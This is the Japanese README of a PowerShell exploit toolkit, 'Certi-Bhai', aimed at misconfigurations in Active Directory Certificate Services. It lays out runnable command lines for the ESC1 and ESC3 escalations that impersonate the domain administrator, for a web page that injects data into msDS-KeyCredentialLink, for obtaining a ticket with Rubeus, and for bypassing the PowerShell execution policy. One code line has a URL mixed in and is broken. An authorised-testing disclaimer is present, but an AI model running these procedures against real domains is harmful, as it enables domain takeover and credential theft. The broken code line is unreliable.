
AD CSの悪用関連のものはここに置く
Certi-Bhaiは、Active Directory 証明書サービス(AD CS)の脆弱性を攻撃するためのPowerShellエクスプロイトツールの包括的なコレクションです。このツールキットは、ADCS環境における重大なセキュリティ設定ミスを実証するさまざまなエスカレーションシナリオ(ESC)を実装しています。
Active Directory 証明書サービス(AD CS)はしばしば誤って設定され、複数の攻撃ベクトルを生み出します。Certi-Bhaiは、一般的なADCSの脆弱性のセキュリティテストと調査のための実用的なエクスプロイトスクリプトとユーティリティを提供します。
許可されたテスト環境でのみ、責任を持って使用してください。
# Active Directoryモジュール(オプション、機能拡張用)
Import-Module ActiveDirectory
脆弱性: 証明書テンプレートが任意のSubjectAltName(SAN)値での登録を許可しています。
機能: 過度に寛容なテンプレートによって署名された証明書を作成し、ドメイン内の任意のユーザーまたはコンピューターになりすますことができます。
使用方法:
# ESC1ディレクトリに移動
cd ESC1
# エクスプロイトスクリプトを実行
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
-templateName "vuln" `
-altName "administrator" `
-pfxPass "password123"
パラメータ:
-subjectName: 対象ユーザーの完全識別名(DN)-templateName: 脆弱な証明書テンプレートの名前-altName: 要求する代替名(ユーザー名/コンピューター名)-pfxPass: PFXエクスポート用のパスワード出力: Rubeusなどのツールで使用するためのBase64エンコードされたPFX証明書
ビデオチュートリアル: https://www.youtube.com/watch?v=l0gMw_mO4dw
脆弱性: 証明書要求エージェントは、任意のユーザーに代わって証明書を要求できます。
機能: 証明書要求エージェントとして証明書を登録し、その後、任意のプリンシパルに対して証明書を要求します。
使用方法:
# ESC3ディレクトリに移動
cd ESC3
# エクスプロイトスクリプトを実行
.
\esc3_working.ps1 -templateName "CEOTemplate" `
-target_user "administrator" `
-domain "INDISHELL" `
-pfxPass "password123"
パラメータ:
-templateName: 脆弱な要求エージェントテンプレート-target_user: 証明書を要求するプリンシパル-domain: ドメイン名-pfxPass: PFXパスワード出力: Base64エンコードされた管理者証明書(PFX)
ビデオチュートリアル: https://www.youtube.com/watch?v=fGjrM-JKnoM
脆弱性: アプリケーションポリシーのインジェクション。
cd CSR_Generate
# 証明書署名要求を生成
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
-altName "admin"
# CSRをCAに送信
.
\csr_submit.ps1 -csr $csr `
-templateName "User" `
-caServer "ca-server.domain.local"
cert.aspx Webインターフェースは、AD CS RPCエンドポイントから証明書を要求するためのユーザーフレンドリーなフォームを提供します:
http://your-iis-server/cert.aspx
Webインターフェースを通じてLDAP属性を変更します。このスクリプトは基本的に、msDS-KeyCredentialLink属性にblobを注入するために使用されます:
http://your-iis-server/ldap_update.aspx
機能:
.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
-templateName "User" `
-altName "administrator" `
-pfxPass "P@ssw0rd!"
# PFXをRubeusで使用可能な形式に変換
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/main/:ToBase64String($cert.RawData)
Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap
Q: スクリプトの実行がブロックされる
# PowerShellを管理者として実行
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
Q: 証明書テンプレートが見つからない
Q: LDAP接続が失敗する
問題を発見した場合や改善点がある場合は、責任を持って報告してください。